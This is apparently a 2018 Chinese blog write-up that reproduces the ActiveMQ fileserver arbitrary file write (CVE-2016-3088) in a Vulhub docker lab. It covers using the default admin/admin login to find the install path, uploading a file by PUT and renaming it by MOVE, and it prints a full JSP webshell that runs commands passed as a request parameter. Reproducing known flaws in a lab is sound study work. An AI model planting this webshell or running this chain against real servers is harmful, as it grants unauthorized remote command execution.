ActiveMQ任意文件写入漏洞(CVE-2016-3088)
前言:
学习完Rust的Vector,想着复现一下Vulhub里面的漏洞。然后就踩到了一个坑了。= =简直MMP,原本是想着写CVE-2015-5254的复现的。可复现方法不能用了。所以emmmm….
正文:
首先我们要搭建Vulhub的环境:
Vulhub漏靶场搭建方法:
vulhub官网:http://vulhub.org/#/docs/download-vulhub/
1.安装docker,windows自己去官网下。Linux执行:sudo apt-get install docker.io
2.安装python和pip:sudo apt-get install python和suao apt-get install python-pip
3.安装docker-compose:pip install docker-compose
4.下载Vulhub:git clone https://github.com/vulhub/vulhub.git
安装好之后进入对应的漏洞文件执行:docker-compose up -d
如果出现:Couldn't connect to Docker daemon at http+xxx的问题有三个解决的方法:
1.将当前的用户加入dokcer用户组 sudo usermod -aG docker <Username>
2.在使用docker-compose附加上sudo sudo docker-compose up -d
3.设置DOCKER_HOST这一个环境变量 export DOCKER_HOST=tcp://loaclhost:4243 设置完成后重新启动docker
漏洞介绍:
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
其使用率并不高
文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
在测试过程中,可以关注ActiveMQ的版本,避免走弯路。
这里我的是CVE-2016-3088,所以我们要进入对应的目录:
cd /vulhub/activemq/CVE-2016-3088
然后执行docker-compose -build 下载漏洞环境
然后在执行docker-compose up -d 启动
之后我们打开浏览器访问:
http://127.0.0.1:8161
我们可以看到如下图所示:
这个任意文件写入漏洞得要先知道WEB路径。所以我们得登陆后台
默认用户名和密码是:admin/admin,登陆进去后我们要访问
http://your-ip:8161/admin/test/systemProperties.jsp
查看ActiveMQ的绝对路径
绝对路径为:
/opt/activemq
知道绝对路径之后,我们要进行文件上传。
注:这里的shell2.txt为shell代码
shell代码如下:
<%@ page import="java.util.*,java.io.*"%> <% %>
<HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION="">
<INPUT TYPE="text" NAME="comment">
<INPUT TYPE="submit" VALUE="Send">
</FORM> <pre>
<%
if ( request.getParameter( "comment" ) != null )
{
out.println( "Command: " + request.getParameter( "comment" ) + "<BR>" );
Process p = Runtime.getRuntime().exec( request.getParameter( "comment" ) );
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream( in );
String disr = dis.readLine();
while ( disr != null )
{
out.println( disr ); disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
代码来自:https://github.com/JoyChou93/webshell/blob/master/jsp/cmd.jsp
上传:
HTTP状态码为204,即为上传成功
然后听过MOVE进行改名为jsp
然后我们访问http://127.0.0.1:8161/api,就可以看到我们上传的shell文件
执行命令如下:
ActiveMQ更多漏洞:http://www.freebuf.com/column/161188.html
转载请声明:来之422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:ActiveMQ任意文件写入漏洞(CVE-2016-3088)
本文作者:九世
发布时间:2018-07-25, 06:43:17
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/55a9538c.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。